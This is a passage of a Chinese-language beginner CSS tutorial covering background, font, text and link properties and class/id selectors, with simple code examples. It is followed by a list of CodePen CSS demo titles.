然后，把这两个文件放在同一目录下。记得在保存文件时使用正确的扩展名（分别为“htm”和“css”）。

二：颜色与背景

前台页面背景和颜色主要包括下面内容：

· color

· background-color

· background-image

· background-repeat

· background-attachment

· background-position

· background

前景色：‘color’属性

CSS属性color用于指定元素的前景色。

例如，假设你要让页面中的所有标题（headline）都显示为深红色，而这些标题采用的都是h1元素，那么可以用下面的代码来实现把h1元素的前景色设为红色。

h1 {

color: #ff0000;

}

CSS属性background-color用于指定元素的背景色。

因为body元素包含了HTML文档的所有内容，所以，如果要改变整个页面的背景色的话，那么为body元素应用background-color属性就行了。

你也可以为其他包含标题或文本的元素单独应用背景色。在下例中，我们为body和h1元素分别应用了不同的背景色。

body {

background-color: #FFCC66;

}

h1 {

color: #990000;

background-color: #FC9804;

}

注意：我们为h1元素应用了两个CSS属性，它们之间以分号（“;”）分隔。

CSS属性background-image用于设置背景图像。

如果要把这个蝴蝶的图片作为网页的背景图像，只要在body元素上应用background-image属性、然后给出蝴蝶图片的存放位置就行了。

body {

background-color: #FFCC66;

background-image: url("butterfly.gif");

}

h1 {

color: #990000;

background-color: #FC9804;

}

注意我们指定图片存放位置的方 式：url("butterfly.gif")。这表明图片文件和样式表存放在同一目录下。你也可以引用存放在其他目录的图片，只需给出存放路径即可（比 如url("../images/butterfly.gif")）；此外，你甚至可以通过给出图片的地址来引用因特网（Internet）上的图片（比如url("http://www.html.net/butterfly.gif")）。

平铺背景图像[background-repeat]

下表概括了background-repeat的四种不同取值。

值	描述	示例
background-repeat:repeat-x	图像横向平铺	显示示例
background-repeat:repeat-y	图像纵向平铺	显示示例
background-repeat:repeat	图像横向和纵向都平铺	显示示例
background-repeat:no-repeat	图像不平铺	显示示例

例如，为了避免平铺背景图像，代码应该这样：

body {

background-image: url("butterfly.gif");

background-repeat: no-repeat; }

固定背景图像[background-attachment]

CSS属性background-attachment用于指定背景图像是固定在屏幕上的、还是随着它所在的元素而滚动的。

一个固定的背景图像不会随着用户滚动页面而发生滚动（它是固定在屏幕上的），而一个非固定的背景图像会随着页面的滚动而滚动。

下表概括了background-attachment的两种不同取值。你可以点击示例察看二者的区别。

值	描述	示例
background-attachment:scroll	图像会跟随页面滚动——非固定的	显示示例
background-attachment:fixed	图像是固定在屏幕上的	显示示例

例如，下面的代码将背景图像固定在屏幕上。

body {

background-image: url("butterfly.gif");

background-repeat: no-repeat;

background-attachment: fixed;

}

放置背景图像[background-position]

缺省地，背景图像将被放在屏幕的左上角。但是，你可以通过CSS属性background-position来修改这一缺省设置，将背景图像摆放在屏幕上你觉得满意的地方。

设置background-position属性的值有多种方式。不过，它们都是坐标的格式。举例来说，值“100px 200px”表示背景图像将被放置在位于距浏览器窗口左边100像素、顶部200像素处。

坐标可以是以百分比或固定单位（比如像素、厘米等）作为单位的值，也可以是“top”、“bottom”、“center”、“left”和“right”这些值。
下表给出了一些例子。

值	描述	示例
background-position:2cm 2cm	图像被放置在页面内距左边2厘米、顶部2厘米的地方	显示示例
background-position:50% 25%	图像被放置在页面内水平居中、离顶部四分之一处	显示示例
background-position:top right	图像被放置在页面的右上角	显示示例

在下例中，背景图像被放置在页面的右下角：

body {

background-image: url("butterfly.gif");

background-repeat: no-repeat;

background-attachment: fixed;

background-position: right bottom;

}

缩写[background]

CSS属性background是上述所有与背景有关的属性的缩写用法。

使用background属性可以减少属性的数目，因此令样式表更简短易读。

比如说下面五行代码：

background-color: #FFCC66;

background-image: url("butterfly.gif");

background-repeat: no-repeat;

background-attachment: fixed;

background-position: right bottom;

如果使用background属性的话，实现同样的效果只需一行代码即可搞定：

background: #FFCC66 url("butterfly.gif") no-repeat fixed right bottom;

各个值应按下列次序来写：

[background-color] | [background-image] | [background-repeat] | [background-attachment] | [background-position]

如果省略某个属性不写出来，那么将自动为它取缺省值。比如，如果去掉background-attachment和background-position的话：

background: #FFCC66 url("butterfly.gif") no-repeat;

这两个未指定值的属性将被设置为缺省值：scroll和top left。

三：字体

CSS字体属性主要包括下面几个：

font-family，font-style，font-variant，font-weight，font-size

，font

字体族[font-family]

CSS属性font-family的作用是设置一组按优先级排序的字体列表，如果该列表中的第一个字体未在访问者计算机上安装，那么就尝试列表中的下一个字体，依此类推，直到列表中的某个字体是已安装的。

有两种类型的名称可用于分类字体：字体族名称（family-name）和族类名称（generic family）。下面来解释这两个术语。

字体族名称（就是我们通常所说的“字体”）的例子包括“Arial”、“Times New Roman”、“宋体”、“黑体”等等。

一个族类是一组具有统一外观的字体族。sans-serif就是一例，它代表一组没有“脚”的字体。

你在给出字体列表时，自然应把首选字体放在前面、把候选字体放在后面。建议你在列表的最后给出一个族类（generic family），这样，当没有一个指定字体可用时，页面至少可以采用一个相同族类的字体来显示。

下面是一个按优先级排列的字体列表的例子：

h1 {font-family: arial, verdana, sans-serif;}

h2 {font-family: "Times New Roman", serif;}

h1标题将采用Arial字体显示。如果访问者的计算机未安装Arial，那么就使用Verdana字体。假如Verdana字体也没安装的话，那么将采用一个属于sans-serif族类的字体来显示这个h1标题。

注意我们为“Times New Roman”采用的写法：因为其中包含空格，所以我们用引号将它括起来。

字体样式[font-style]

CSS属性font-style定义所选字体的显示样式：normal（正常）、italic（斜体）或oblique（倾斜）。在下例中，所有h2标题都将显示为斜体。

h2 {font-family: "Times New Roman", serif; font-style: italic;}

字体变化[font-variant]

CSS属性font-variant的值可以是：normal（正常）或small-caps（小体大写字母）。small-caps字体是一种以小尺寸显示的大写字母来代替小写字母的字体。不太明白？我们来看几个例子：

如果font-variant属性被设置为small-caps，而没有可用的支持小体大写字母的字体，那么浏览器多半会将文字显示为正常尺寸（而不是小尺寸）的大写字母。

h1 {font-variant: small-caps;}

h2 {font-variant: normal;}

字体浓淡[font-weight]

CSS属性font-weight指定字体显示的浓淡程度。其值可以是normal（正常）或bold（加粗）。有些浏览器甚至支持采用100到900之间的数字（以百为单位）来衡量字体的浓淡。

p {font-family: arial, verdana, sans-serif;}

td {font-family: arial, verdana, sans-serif; font-weight: bold;}

字体大小[font-size]

字体的大小用CSS属性font-size来设置。

字体大小可通过多种不同单位（比如像素或百分比等）来设置。在本教程中，我们将关注于最常用和最合适的单位。比如：

h1 {font-size: 30px;}

h2 {font-size: 12pt;}

h3 {font-size: 120%;}

p {font-size: 1em;}

上面四种单位有着本质的区别。‘px’和‘pt’将字体设置为固定大小，而‘%’和‘em’允许页面浏览者自行调整字体的显示尺寸

缩写[font]

CSS属性font是上述各有关字体的CSS属性的缩写用法。

比如说下面四行应用于p元素的代码：

p {

font-style: italic;

font-weight: bold;

font-size: 30px;

font-family: arial, sans-serif;

}

如果用font属性的话，上述四行代码可简化为：

p {font: italic bold 30px arial, sans-serif; }

font属性的值应按以下次序书写：

font-style | font-variant | font-weight | font-size | font-family

四：文本

文本主要包括下列CSS属性：

text-indent.,text-align,text-decoration,letter-spacing.

text-transform

文本缩进[text-indent]

CSS属性text-indent用于为段落设置首行缩进，以令其具有美观的格式。在下例中，我们为采用p元素的段落应用了30像素的首行缩进。

p {text-indent: 30px;}

文本对齐[text-align]

CSS属性text-align与HTML属性align的功能相同。该属性的值可以是：left（左对齐）、right（右对齐）或者center（居中）。除了上面三种选择以外，你还可以将该属性的值设为justify（两端对齐），即伸缩行中的文字以左右靠齐。报刊杂志经常采用这种布局。

在下例中，标题（th）中的文字被设置为右对齐，而表中数据（td） 被设置为居中。正常的文本段落被设置为两端对齐。

th {text-align: right;}

td {text-align: center;}

p {text-align: justify; }

文本装饰[text-decoration]

CSS属性text-decoration令我们可以为文本增添不同的“装饰”或“效果”。例如，你可以为文本增添下划线、删除线、上划线等等。在接下来的例子中，我们为h1标题增添了下划线，为h2标题增添了上划线，为h3标题增添了删除线。

h1 {text-decoration: underline;}

h2 {text-decoration: overline;}

h3 {text-decoration: line-through;}

字符间距[letter-spacing]

CSS属性letter-spacing用于设置文本的水平字间距。我们可以把期望的字间距宽度作为这个属性的值。例如，假如你希望p元素里的文本段落的字间距为3个像素，而h1标题的字间距为6个像素，代码可以这样写：

h1 {letter-spacing: 6px; }

p {letter-spacing: 3px;}

文本转换[text-transform]

CSS属性text-transform用于控制文本的大小写。无论字母本来的大小写，你可以通过该属性令它首字母大写（capitalize）、全部大写（uppercase）或者全部小写（lowercase）。

比如，单词“headline”在展现给网页浏览者时，可以是“HEADLINE”或者“Headline”。

text-transform属性有四个可选值：

capitalize将每个单词的首字母转换为大写。

uppercase所有字母都转换为大写。

lowercase所有字母都转换为小写

none不作任何转换——文本怎么写的就怎么显示。

五：链接

在前面讲到的属性也可以应用到链接上（比如修改颜色、字体、添加下划线等）。但不同的是，CSS允许你根据链接是未访问的、已访问的、活动的、是否有鼠标悬停等分别定义不同的属性。这样，我们便可为网站增添奇特而有用的效果。你需要通过伪类（pseudo-class）来控制这些效果。

伪类是什么？

伪类（pseudo-class）令你可以在为HTML元素定义CSS属性的时候将条件和事件考虑在内。

我们来看一个例子。正如你所知道的，在HTML里，链接是通过a元素来定义的。因此，在CSS里，我们可以将a作为一个选择器

a {color: blue;}

一个链接可以有不同的状态。例如，它可以是已访问过的，也可以是未访问过的。你可以通过伪类分别为访问过的链接和未访问过的链接设置不同的样式。

a:link {color: blue;}

a:visited {color: red;}

为未访问过的链接和已访问过的链接分别使用伪类a:link和a:visited。活动的链接对应的伪类为a:active，有鼠标悬停的链接对应的伪类为a:hover。

伪类： active

伪类:active用于活动的链接（即获得当前焦点的链接）。

a:active {background-color: #FFFF00;}

伪类： hover用于有鼠标悬停的链接。

如果你要当鼠标光标移到链接上时将链接显示为橙色斜体，那么CSS可以这样写：

a:hover {color: orange;

font-style: italic; }

如何去掉链接的下划线是一个常见的问题。

a {text-decoration:none;}

六：元素的分类与标识（class和id）

1.用class对元素进行分类

我们希望白葡萄酒的链接全部显示为黄色，红葡萄酒的链接全部显示为红色，其余的链接显示为缺省的兰色。为了实现这一要求，我们将链接分为两类。对链接的分类是通过为链接设置HTML属性class实现的。参加如下代码：

<p>制造白葡萄酒的葡萄：</p>

<ul>

<li><a href="ri.htm" class="whitewine">雷司令（Riesling）</a></li>

<li><a href="ch.htm" class="whitewine">夏敦埃（Chardonnay）</a></li>

<li><a href="pb.htm" class="whitewine">白比诺（Pinot Blanc）</a></li>

</ul>

<p>制造红葡萄酒的葡萄：</p>

<ul>

<li><a href="cs.htm" class="redwine">卡百内索维农（Cabernet Sauvignon）</a></li>

<li><a href="me.htm" class="redwine">墨尔乐（Merlot）</a></li>

<li><a href="pn.htm" class="redwine">黑比诺（Pinot Noir）</a></li>

</ul>

然后，我们就可以为白葡萄酒和红葡萄酒的链接分别应用不同的风格了。

a {color: blue;}

a.whitewine {color: #FFBB00;}

a.redwine {color: #800000; }

如上例所示，你可以通过在样式表里利用.classname来为属于某一类的元素定义CSS属性。

利用id标识元素

除了可以对元素进行分类以外，你还可以标识单个元素。这是通过HTML属性id实现的。HTML属性id的特别之处在于，在同一HTML文档中不能有两个具有相同id值的元素。文档中的每个id值都必须是唯一的。在其他情况下，你应该使用class属性。下面，我们来看一个使用id属性的例子：

<h1 id="c1">第1章</h1>

...

<h2 id="c1-1">第1.1节</h2>

...

<h2 id="c1-2">第1.2节</h2>

假如我们要求第1.2节显示为红色，那么CSS可以这样写：

#c1-2 {

color: red;

}

如上例所示，你可以在样式表里通过#id为特定元素定义CSS属性。

分享24个超赞的CSS+html5代码片段,如果你做模板用上其中一些CSS片段,我保证你的模板会美上很多的!

CodePen是一个网站前端设计开发平台，是一个针对网站前端代码设计的开发工具，提供多种效果的网站前端代码设计工具和丰富的案例特效代码。用户可以在各种现成的demo基础上Fork后开发自己的前端设计，也可以把你的Demo设计分享给其他人。

都是一些前端的设计，有些特效非常漂亮炫酷，有些是自适应的扁平化布局设计，有些是纯CSS实现的图标，有些令人惊艳的切换旋转效果。你可以自己去慢慢发现这些Demo的美妙之处。

Pure CSS3 MacBook Air with Thunderbird Display and Keyboard

Demo

CSS3 Working Clock

 

    这是个CSS3实现的时钟效果，使用的是CSS3动画特效，没有任何图片和JS.

      

Demo

    CSS3 Pricing Table

    

Demo

    CSS Loader

    

    

Demo

    Twitter Button Concept

    

Demo

    CSS3 Loading Animation

    

Demo

    Pure CSS3 Vertical Menu with Hover Effect

    

Demo

    CSS3 Stamp effect using radial gradients

    

Demo

    I Love Blur

    

Demo

    Social Navigation

    

Demo

    Login

    

Demo

    Calendar

    

Demo

    Social Footer

    

Demo

    Parallax Landscape

    

Demo

    CSS3 Thermometer

    

Demo

    CSS-Only Responsive Layout with Smooth Transitions

    

Demo

    Flat CSS3 Weather Widget

    

Demo

    Flat Responsive Sliding Boxes

    

Demo

    Tiny CSS3 Round Breadcrumb

    

Demo

    CSS3 Hover Effect using :after Psuedo Element

    

Demo

    Flat UI Elements

    

Demo

    CSS Flat Button Shapes

    

Demo

    Email UI

   

Demo

    Flat Icons CSS

    

Demo